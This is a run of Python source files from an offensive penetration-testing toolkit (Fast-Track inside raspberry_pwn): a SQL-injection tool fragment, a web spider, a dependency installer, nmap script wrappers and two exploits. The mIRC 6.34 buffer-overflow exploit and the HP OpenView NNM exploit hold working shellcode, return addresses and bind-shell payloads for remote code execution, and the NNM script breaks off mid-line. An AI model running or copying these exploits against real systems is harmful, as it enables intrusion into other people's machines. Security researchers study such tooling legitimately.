webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '. ' + line compsystem=open("%s/bin/ftsrc/sqlpwnage/app/%scomp" % (definepath,x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) else: print print "***********************************************************" print "Not a Valid Choice!! Please re-enter a valid menu option." print "***********************************************************" elif choice == '3': print ############################################################### ############################################################### #User Inputs Website ############################################################### try: option=sys.argv[4] except IndexError: option = raw_input("Enter URL that is susceptible to SQL Injection (ex: www.xxxxx.com): ") opt = ("http://"+option) request = urllib2.Request(opt) try: response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError: print print "[-] Sorry, no post parameters were identified on this site. [-]" else: print "***********************************************************" print "Not a Valid Choice!! Please re-enter a valid menu option." print "***********************************************************" except Exception,e: print e remold=subprocess.Popen("rm bin/appdata/ipaddr 2> /dev/null", shell=True).wait() endingpoint=raw_input("Press enter to exit SQLPwnage.")
58,080
Python
.py
924
38.03355
364
0.385417
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,380
spider.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlpwnage/app/spider/spider.py
#!/usr/bin/env python """Web Crawler/Spider This module implements a web crawler. This is very _basic_ only and needs to be extended to do anything usefull with the traversed pages. """ import unicodedata import re import sys import time import urllib2 import urlparse import optparse import collections from BeautifulSoup import BeautifulSoup import os definepath=os.getcwd() #try: # import psyco # psyco.full() #except ImportError: # pass import spider import pymills from pymills.web import escape from pymills.misc import duration from pymills import __version__ as systemVersion USAGE = "%prog [options] <url>" VERSION = "%prog v" + systemVersion AGENT = "%s-%s/%s" % (pymills.__name__, spider.__name__, pymills.__version__) class Crawler(object): def __init__(self, root, depth, lock=True): self._root = root self._depth = depth self._lock = lock self._host = urlparse.urlparse(root)[1] self._startTime = 0 self._countLinks = 0 self._countFollowed = 0 def getStats(self): return (self._startTime, self._countLinks, self._countFollowed) def crawl(self): crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'w') self._startTime = time.time() page = Fetcher(self._root) page.fetch() urls = collections.deque(page.getURLS()) number = len(urls) followed = [self._root] n = -1 done = False while not done: n += 1 try: url = urls.popleft() except IndexError: break if url not in followed: host = urlparse.urlparse(url)[1] if self._lock and re.match(".*%s" % self._host, host): if (str(re.search('javascript', url)) == "None") and (str(re.search('mailto', url)) == "None") and (str(re.search('pdf', url)) == "None") and (str(re.search('doc', url)) == "None") and (str(re.search('mpg', url)) == "None") and (str(re.search('wmv', url)) == "None") and (str(re.search('tif', url)) == "None") and (str(re.search('jpg', url)) == "None"): followed.append(url) self._countFollowed += 1 print "Following: %s" % url print >> crawled, url page = Fetcher(url) try: page.fetch() except UnicodeEncodeError: pass for i, url in enumerate(page): if url not in urls: self._countLinks += 1 if (str(re.search('javascript', url)) == "None") and (str(re.search('mailto', url)) == "None") and (str(re.search('pdf', url)) == "None") and (str(re.search('doc', url)) == "None") and (str(re.search('mpg', url)) == "None") and (str(re.search('wmv', url)) == "None") and (str(re.search('tif', url)) == "None") and (str(re.search('jpg', url)) == "None"): urls.append(url) number = number + 1 try: print "New: %s" % url except Exception: pass print >> crawled, url if n == (number - 1) and self._depth > 0: done = True crawled.close() class Fetcher(object): try: def __init__(self, url): self._url = url self._root = self._url self._tags = [] self._urls = [] def __getitem__(self, y): return self._urls[y] def _add_headers(self, request): request.add_header("User-Agent", AGENT) def getURLS(self): return self._urls def open(self): url = self._url try: request = urllib2.Request(url) handle = urllib2.build_opener() except IOError: return None return (request, handle) def fetch(self): (request, handle) = self.open() self._add_headers(request) if handle is not None: try: content = handle.open(request).read() soup = BeautifulSoup(content) if soup.html is not None: try: title = soup.html.head.title.string except Exception: pass else: title = "" tags = soup('a') except urllib2.HTTPError, error: if error.code == 404: print "%s -> %s" % (error, error.url) else: print error tags = [] except urllib2.URLError, error: print error tags = [] except UnicodeDecodeError: tags = [] for tag in tags: try: url = urlparse.urljoin(self._url, escape(tag['href'])) except KeyError: continue self._urls.append(url) except KeyboardInterrupt:pass def getLinks(url): try: page = Fetcher(url) page.fetch() for i, url in enumerate(page): print "%d. %s" % (i, url) except KeyboardInterrupt:pass def parse_options(): try: """parse_options() -> opts, args Parse any command-line options given returning both the parsed options and arguments. """ parser = optparse.OptionParser(usage=USAGE, version=VERSION) parser.add_option("-q", "--quiet", action="store_true", default=False, dest="quiet", help="Enable quiet mode") parser.add_option("-l", "--links", action="store_true", default=False, dest="links", help="Get links for specified url only") parser.add_option("-d", "--depth", action="store", default=30, dest="depth", help="Maximum depth to traverse") opts, args = parser.parse_args() if len(args) < 1: parser.print_help() raise SystemExit, 1 return opts, args except KeyboardInterrupt:pass def main(): try: opts, args = parse_options() url = args[0] if opts.links: getLinks(url) raise SystemExit, 0 depth = int(opts.depth) print >> sys.stderr, "Crawling %s (Max Depth: %d)" % ( url, depth) crawler = Crawler(url, depth) crawler.crawl() print >> sys.stderr, "DONE" startTime, countLinks, countFollowed = crawler.getStats() print >> sys.stderr, "Found %d links, following %d urls in %s+%s:%s:%s" % ((countLinks, countFollowed,) + duration(time.time() - startTime)) if (countLinks == 0): crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'w') print >> crawled, url crawled.close() except KeyboardInterrupt: pass try: if __name__ == "__main__": main() except Exception: pass
7,398
Python
.py
189
26.724868
360
0.512632
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,381
spider.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlpwnage/app/spider/.svn/text-base/spider.py.svn-base
#!/usr/bin/env python """Web Crawler/Spider This module implements a web crawler. This is very _basic_ only and needs to be extended to do anything usefull with the traversed pages. """ import unicodedata import re import sys import time import urllib2 import urlparse import optparse import collections from BeautifulSoup import BeautifulSoup import os definepath=os.getcwd() #try: # import psyco # psyco.full() #except ImportError: # pass import spider import pymills from pymills.web import escape from pymills.misc import duration from pymills import __version__ as systemVersion USAGE = "%prog [options] <url>" VERSION = "%prog v" + systemVersion AGENT = "%s-%s/%s" % (pymills.__name__, spider.__name__, pymills.__version__) class Crawler(object): def __init__(self, root, depth, lock=True): self._root = root self._depth = depth self._lock = lock self._host = urlparse.urlparse(root)[1] self._startTime = 0 self._countLinks = 0 self._countFollowed = 0 def getStats(self): return (self._startTime, self._countLinks, self._countFollowed) def crawl(self): crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'w') self._startTime = time.time() page = Fetcher(self._root) page.fetch() urls = collections.deque(page.getURLS()) number = len(urls) followed = [self._root] n = -1 done = False while not done: n += 1 try: url = urls.popleft() except IndexError: break if url not in followed: host = urlparse.urlparse(url)[1] if self._lock and re.match(".*%s" % self._host, host): if (str(re.search('javascript', url)) == "None") and (str(re.search('mailto', url)) == "None") and (str(re.search('pdf', url)) == "None") and (str(re.search('doc', url)) == "None") and (str(re.search('mpg', url)) == "None") and (str(re.search('wmv', url)) == "None") and (str(re.search('tif', url)) == "None") and (str(re.search('jpg', url)) == "None"): followed.append(url) self._countFollowed += 1 print "Following: %s" % url print >> crawled, url page = Fetcher(url) try: page.fetch() except UnicodeEncodeError: pass for i, url in enumerate(page): if url not in urls: self._countLinks += 1 if (str(re.search('javascript', url)) == "None") and (str(re.search('mailto', url)) == "None") and (str(re.search('pdf', url)) == "None") and (str(re.search('doc', url)) == "None") and (str(re.search('mpg', url)) == "None") and (str(re.search('wmv', url)) == "None") and (str(re.search('tif', url)) == "None") and (str(re.search('jpg', url)) == "None"): urls.append(url) number = number + 1 try: print "New: %s" % url except Exception: pass print >> crawled, url if n == (number - 1) and self._depth > 0: done = True crawled.close() class Fetcher(object): try: def __init__(self, url): self._url = url self._root = self._url self._tags = [] self._urls = [] def __getitem__(self, y): return self._urls[y] def _add_headers(self, request): request.add_header("User-Agent", AGENT) def getURLS(self): return self._urls def open(self): url = self._url try: request = urllib2.Request(url) handle = urllib2.build_opener() except IOError: return None return (request, handle) def fetch(self): (request, handle) = self.open() self._add_headers(request) if handle is not None: try: content = handle.open(request).read() soup = BeautifulSoup(content) if soup.html is not None: try: title = soup.html.head.title.string except Exception: pass else: title = "" tags = soup('a') except urllib2.HTTPError, error: if error.code == 404: print "%s -> %s" % (error, error.url) else: print error tags = [] except urllib2.URLError, error: print error tags = [] except UnicodeDecodeError: tags = [] for tag in tags: try: url = urlparse.urljoin(self._url, escape(tag['href'])) except KeyError: continue self._urls.append(url) except KeyboardInterrupt:pass def getLinks(url): try: page = Fetcher(url) page.fetch() for i, url in enumerate(page): print "%d. %s" % (i, url) except KeyboardInterrupt:pass def parse_options(): try: """parse_options() -> opts, args Parse any command-line options given returning both the parsed options and arguments. """ parser = optparse.OptionParser(usage=USAGE, version=VERSION) parser.add_option("-q", "--quiet", action="store_true", default=False, dest="quiet", help="Enable quiet mode") parser.add_option("-l", "--links", action="store_true", default=False, dest="links", help="Get links for specified url only") parser.add_option("-d", "--depth", action="store", default=30, dest="depth", help="Maximum depth to traverse") opts, args = parser.parse_args() if len(args) < 1: parser.print_help() raise SystemExit, 1 return opts, args except KeyboardInterrupt:pass def main(): try: opts, args = parse_options() url = args[0] if opts.links: getLinks(url) raise SystemExit, 0 depth = int(opts.depth) print >> sys.stderr, "Crawling %s (Max Depth: %d)" % ( url, depth) crawler = Crawler(url, depth) crawler.crawl() print >> sys.stderr, "DONE" startTime, countLinks, countFollowed = crawler.getStats() print >> sys.stderr, "Found %d links, following %d urls in %s+%s:%s:%s" % ((countLinks, countFollowed,) + duration(time.time() - startTime)) if (countLinks == 0): crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'w') print >> crawled, url crawled.close() except KeyboardInterrupt: pass try: if __name__ == "__main__": main() except Exception: pass
7,398
Python
.py
189
26.724868
360
0.512632
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,382
depend.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/.svn/text-base/depend.py.svn-base
#!/usr/bin/env python import os count=0 # Perform Dependency check print "\n\n\n\n\n***********************************************\n******* Performing dependency checks... *******\n***********************************************\n" try: import _mssql print "*** FreeTDS and PYMMSQL are installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* FreeTDS and PYMMSQL are NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing FreeTDS and PYMMSQL" slack1=os.system("wget http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz") slack2=os.system("wget http://downloads.sourceforge.net/pymssql/pymssql-0.8.0.tar.gz") slack3=os.system("tar -zxvf freetds-stable.tgz;tar -zxvf pymssql-0.8.0.tar.gz;cd freetds-0.*;./configure --enable-msdblib --with-tdsver=8.0 && make && make install; cd ..;cd pymssql-0.8.0;ln -s /usr/local/lib/libsysbdb.so.5 /usr/lib;python setup.py install;cd ..;rm -rf freetds*;rm -rf pymssql*") print 'Running ldconfig....' ldconfig=os.system("ldconfig") print "FreeTDS and PYMMSQL Installed..." print "Re-checking dependency..." try: import _mssql #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import pexpect print "*** PExpect is installed. (Check) ***" except ImportError: print "!!! *ERROR* PExpect is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print 'Installing Module for Python Called "PExpect"' pexpect0=os.system('wget http://downloads.sourceforge.net/pexpect/pexpect-2.3.tar.gz;tar -zxvf pexpect-2.3.tar.gz;cd pexpect-2.3;python setup.py install;cd ..;rm -rf pexpect-2.3;rm pexpect-2.3.tar.gz') print "PExpect Installed..." print "Re-checking dependency..." try: import pexpect #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import ClientForm print "*** ClientForm is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* ClientForm is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing ClientForm Python Module" installclientform=os.system("svn co http://codespeak.net/svn/wwwsearch/ClientForm/trunk ClientForm;cd ClientForm;python setup.py install;cd ..;rm -rf ClientForm") print "ClientForm Installed." print "Re-checking dependency" try: import ClientForm #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing ClientForm manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import psyco psyco.full() print "*** Psyco is installed. (Check) ***" # count=count+1 except ImportError: pass try: from BeautifulSoup import BeautifulSoup print "*** Beautiful Soup is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* Beautiful Soup is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing BeautifulSoup Python Module" installbeatsoup=os.system("wget http://www.crummy.com/software/BeautifulSoup/download/BeautifulSoup.tar.gz;tar -zxvf BeautifulSoup.tar.gz;cd BeautifulSoup*;python setup.py install;cd ..;rm -rf BeautifulSoup*") print "BeautifulSoup Installed." print "Re-checking dependency" try: from BeautifulSoup import BeautifulSoup #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "BeautifulSoup is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import pymills print "*** PyMills is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* PyMills is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing PyMills Python Module, this may take a few mins" grabsetuptools=os.system("svn co http://svn.python.org/projects/sandbox/branches/setuptools-0.6/ pym;cd pym;python setup.py install;cd ..;rm -rf pym") installpymills=os.system('wget http://pypi.inqbus.de/pymills/pymills-3.4.tar.gz;tar -zxvf pymills-3.4.tar.gz;mv pymills-3.4 pymills;cd pymills/;python setup.py install;cd ..;rm -rf pymills*') print "PyMills Installed.." print "Re-checking dependancy" try: import pymills #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "PyMills is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" print "\nAlso ensure ProFTP, WinEXE, and SQLite3 is installed from\nthe Updates/Installation menu." if count ==4: print "\nYour system has all requirements needed to run Fast-Track!" if count !=4: print "*WARNING* Your system is missing some components required for Fast-Track.. *WARNING*"
6,335
Python
.py
121
45.504132
304
0.67215
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,383
nsecommon.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/.svn/text-base/nsecommon.py.svn-base
#!/usr/bin/env python '''Created on Sep 18, 2010 @author: Joey Furr (j0fer)''' import os from bin.include import print_banner from time import sleep # For NSE integration def runnse(command): print_banner() os.system(command) raw_input("\nPress <enter> to return...\n") def get_target(counter,self_banner): """ get user input, check for valid input, and loop back through if invalid input is entered. """ tries = counter target_input = raw_input(""" NOTE: A single host or a network/block can be specified for testing. examples: 192.168.1.21 192.168.1.0/24 Enter the host or range to be checked: """) if counter == 3: print_banner() print self_banner sleep(1) print " Just so you know...I can go on like this all day...." sleep(1) tries = 0 get_target(tries,self_banner) if target_input == "" or len(target_input.split(".")) != 4: print_banner() print self_banner print " *** YOU MUST ENTER A VALID HOST OR RANGE TO CHECK **" tries+=1 get_target(tries,self_banner) else: return(target_input)
1,209
Python
.py
36
26.777778
72
0.615785
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,384
include.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/.svn/text-base/include.py.svn-base
#!/usr/bin/env python import os def get_version(): readversion=file("bin/version/version","r") for line in readversion: version=line.rstrip() return version def print_banner(): # os.system("clear") print ''' ***************************************************************** ** ** ** Fast-Track - A new beginning... ** ** Version: 4.0.1 ** ** Written by: David Kennedy (ReL1K) ** ** Lead Developer: Joey Furr (j0fer) ** ** http://www.secmaniac.com ** ** ** *****************************************************************'''
845
Python
.py
18
43.888889
79
0.309002
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,385
nmapsmbcheckvulns.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/.svn/text-base/nmapsmbcheckvulns.py.svn-base
#!/usr/bin/env python from bin.include import print_banner from bin.nsecommon import get_target,runnse def nmapsmbcheckvulns_run(): """ Main execution logic: reuse common nse modules for this nse script """ self_banner = """ ** Nmap Scripting Engine: Script - smb-check-vulns ** ** ** ** Checks a host or network MS08-067 ** ** for vulnerability to: Conficker infection ** ** regsvc DoS: (When enabled) ** ** SMBv2 DoS: (When enabled) ** ***************************************************************** """ # BEGIN MAIN EXECUTION counter = 0 print_banner() print self_banner print " <ctrl>-c at any time to Cancel" # get the host or network to operate on target = get_target(counter,self_banner) # enable or disable this scripts arguments aggressive = raw_input("""\n Do you want to enable aggressive testing (regsvc, SMBv2 DoS)? WARNING: these checks can cause a Denial of Service! [y|n]: """) # check answer on aggressive mode if aggressive == "y" or aggressive == "yes": command = "nmap --script smb-check-vulns --script-args=unsafe=1 -p445 %s" % target runnse(command) if aggressive == "n" or aggressive == "no": command = "nmap --script smb-check-vulns -p445 %s" % target runnse(command) if __name__ == "__main__": # Allow this module to be run as a standalone script nmapsmbcheckvulns_run()
1,640
Python
.py
33
44.090909
97
0.556898
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,386
mirc.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/mirc.py
#!/usr/bin/env python from socket import * import subprocess import os import sys import time #from bin.include import print_banner #print_banner() print """ mIRC 6.34 Remote Buffer Overflow Exploit Original Exploit by SkD (skdrat <at> hotmail <.> com) Rewritten by: ReL1K for Fast-Track (perl to python convert) Credits to securfrog for publishing the PoC.\n""" port=raw_input("\n What port do you want to listen on: ") target=raw_input(""" Choose the operating system version: 1. XP Service Pack 3 2. Vista <ctrl>-c to Cancel Enter choice: """) # win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com restricted chars 0x00 0xff shellcode=("\x29\xc9\xb1\x51\xbe\x0e\x06\x17\x06\xda\xdf\xd9\x74\x24\xf4\x5f" "\x31\x77\x0e\x03\x77\x0e\x83\xe1\xfa\xf5\xf3\x01\x68\x11\xb6\x11" "\x94\x1a\xb6\x1e\x07\x6e\x25\xc4\xec\xfb\xf3\x38\x66\x87\xfe\x38" "\x79\x97\x8a\xf7\x61\xec\xd2\x27\x93\x19\xa5\xac\xa7\x56\x37\x5c" "\xf6\xa8\xa1\x0c\x7d\xe8\xa6\x4b\xbf\x23\x4b\x52\xfd\x5f\xa0\x6f" "\x55\x84\x61\xfa\xb0\x4f\x2e\x20\x3a\xbb\xb7\xa3\x30\x70\xb3\xec" "\x54\x87\x28\x11\x49\x0c\x27\x79\xb5\x0e\x59\x42\x84\xf5\xfd\xcf" "\xa4\x39\x75\x8f\x26\xb1\xf9\x13\x9a\x4e\xb9\x23\xba\x38\xb4\x7d" "\x4c\x55\x98\x7e\x86\xc3\x4a\xe6\x4f\x3f\x5f\x8e\xf8\x4c\xad\x11" "\x53\x4c\x01\xc5\x90\x5f\x5e\x2e\x77\x5f\x49\x0f\xfe\x7a\x10\x2e" "\xed\x8d\xdf\x65\x84\x8f\x20\x55\x30\x49\xd7\xa0\x6c\x3e\x17\x9c" "\x3c\x92\xb4\x73\x90\x57\x68\x30\x45\xa7\x5e\xd0\x01\x46\x03\x7a" "\x81\xe1\x5a\x17\x4d\x56\x86\x67\x49\xc1\x48\x51\x3f\xfe\xe7\x08" "\x3f\x2e\x6f\x16\x12\xe1\x99\x01\x92\x28\x0a\xf8\x93\x05\xc5\xe7" "\x25\x20\x5f\xb0\x4a\xfa\x30\x6a\xe1\x56\x4e\x42\x9a\x31\x57\x1b" "\x5b\xb8\xc0\x24\xb5\x6e\x10\x0a\x5c\xfb\x8a\xcc\xc9\x98\x3f\x99" "\xef\x35\x90\xc0\xc6\x05\x99\x15\x72\xd2\x13\x3b\xb2\x1a\xd0\x11" "\x4b\xd8\x3a\x9b\xf6\xf1\xd7\xee\x8d\x31\x73\x5b\xda\x2a\xf1\x65" "\xae\xbd\x0a\xec\x95\x3e\x22\x55\x41\x93\x9a\x38\x3c\x79\x1c\xeb" "\xef\x28\x4f\xf4\xc0\xbb\xc2\xd3\xe4\xf5\x4e\x1c\x30\x63\x8e\x1d" "\x8a\x8b\xa0\x6a\xa2\x8f\xc2\xa8\x29\x8f\x13\x62\x4d\xbf\xf4\x72" "\x3b\x44\x5a\x21\xc3\x93\x9b\x15") overflow = "\x41"*307 overflow2 = "B"*12 eip_vista = "\x66\x1c\xc2\x76" #Normaliz.DLL pop pop ret eip2_vista = "\xd3\xdb\x54\x77" #MSFCT.DLL jmp esp eip_xpsp3 = "\xd1\xfb\x92\x77" #SETUPAPI.DLL 0x7792FBD1 pop eax pop ret eip2_xpsp3 = "\xb7\x87\x9d\x77" #SETUPAPI.DLL 0x779D87B7 jmp esp addr = "\xb5\xb5\xfd\x7f" nop_sled = "\x90"*4 jmp = "\xEB\x03\xFF\xFF" if target=='1': evil=overflow+eip_xpsp3+addr+nop_sled+eip2_xpsp3+nop_sled+overflow2+jmp+nop_sled+shellcode+nop_sled if target=='2': evil=overflow+eip_vista+addr+nop_sled+eip2_vista+nop_sled+overflow2+jmp+nop_sled+shellcode+nop_sled s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", int(port))) s.listen(1) print "\n[+] Listening on port %s" % (port) c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.recv(1024) c.send(evil) print "\n Our payload has been sent...connect to the IP Address on port 4444\n" raw_input("[+] Done, press enter to quit\n\n") c.close() s.close()
3,144
Python
.py
67
45.19403
118
0.719596
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,387
hpopenviewnnm.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/hpopenviewnnm.py
#!/usr/bin/env python import socket import os import sys from time import sleep from bin.include import print_banner # Alphanumeric egghunter shellcode + restricted chars \x40\x3f\x3a\x2f - ph33r # One egg to rule them all. print_banner() try: target=sys.argv[4] except IndexError: print "HP OpenView NNM Exploit:\n" print """ ********************* NOTE ************************* If this exploit is not executed against the intended target chances are it will not succeed. <ctrl>-c to Cancel """ target=raw_input(" Enter the IP Address to Attack: ") egghunter=( "%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J" "MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5" "21*-q!au-q!au-oGSePAA%JMNU%521*-D" "A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1" "z1E-oRHEPAA%JMNU%521*-3s1--331--^" "TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA" "A%JMNU%521*-R222-1111-nZJ2PAA%JMN" "U%521*-1-wD-1-wD-8$GwP") alignstack="\x90"*34+"\x83\xc4\x03" # win32_bind - EXITFUNC=thread LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com # Spawned shell dies quickly as a result of a parent thread killing it. # Best shellcodes are of the "instant" type, such as adduser, etc. bindshell=("T00WT00W" + alignstack + "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48" "\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x54\x4e\x33\x4b\x38\x4e\x37" "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x41\x4b\x48" "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x55\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48" "\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x38" "\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x56\x43\x4c\x41\x53\x4b\x4d" "\x46\x46\x4b\x58\x43\x44\x42\x33\x4b\x38\x42\x54\x4e\x30\x4b\x48" "\x42\x47\x4e\x51\x4d\x4a\x4b\x48\x42\x34\x4a\x50\x50\x35\x4a\x36" "\x50\x38\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56" "\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x43\x4a\x36\x47\x57\x43\x57" "\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e" "\x48\x56\x41\x38\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x55\x43\x55\x43\x55\x43\x55\x43\x45\x43\x44" "\x43\x35\x43\x54\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x41\x31" "\x4e\x55\x48\x46\x43\x55\x49\x58\x41\x4e\x45\x59\x4a\x56\x46\x4a" "\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x51" "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x35\x4f\x4f\x42\x4d" "\x4a\x56\x45\x4e\x49\x34\x48\x48\x49\x44\x47\x45\x4f\x4f\x48\x4d" "\x42\x55\x46\x55\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45" "\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x46\x4a\x46\x43\x56" "\x4d\x36\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x42\x4e\x4c" "\x49\x38\x47\x4e\x4c\x36\x46\x44\x49\x38\x44\x4e\x41\x33\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x44\x4e\x32" "\x43\x39\x4d\x38\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46" "\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x44\x4f\x4f" "\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x55\x41\x55\x41\x35\x4c\x56" "\x41\x50\x41\x55\x41\x45\x45\x35\x41\x45\x4f\x4f\x42\x4d\x4a\x56" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f" "\x43\x48\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" "\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x35\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a") # 0x6d356c6e pop pot ret somehwere in NNM 7.5.1 evilcrash = "\xeb"*1101 + "\x41\x41\x41\x41\x77\x21\x6e\x6c\x35\x6d" + "G"*32 +egghunter + "A"*100 + ":7510" buffer="GET http://" + evilcrash+ "/topology/homeBaseView HTTP/1.1\r\n" buffer+="Content-Type: application/x-www-form-urlencoded\r\n" buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n" buffer+="Content-Length: 1048580\r\n\r\n" buffer+= bindshell print " [*] Sending evil HTTP request to NNMz, ph33r" expl = 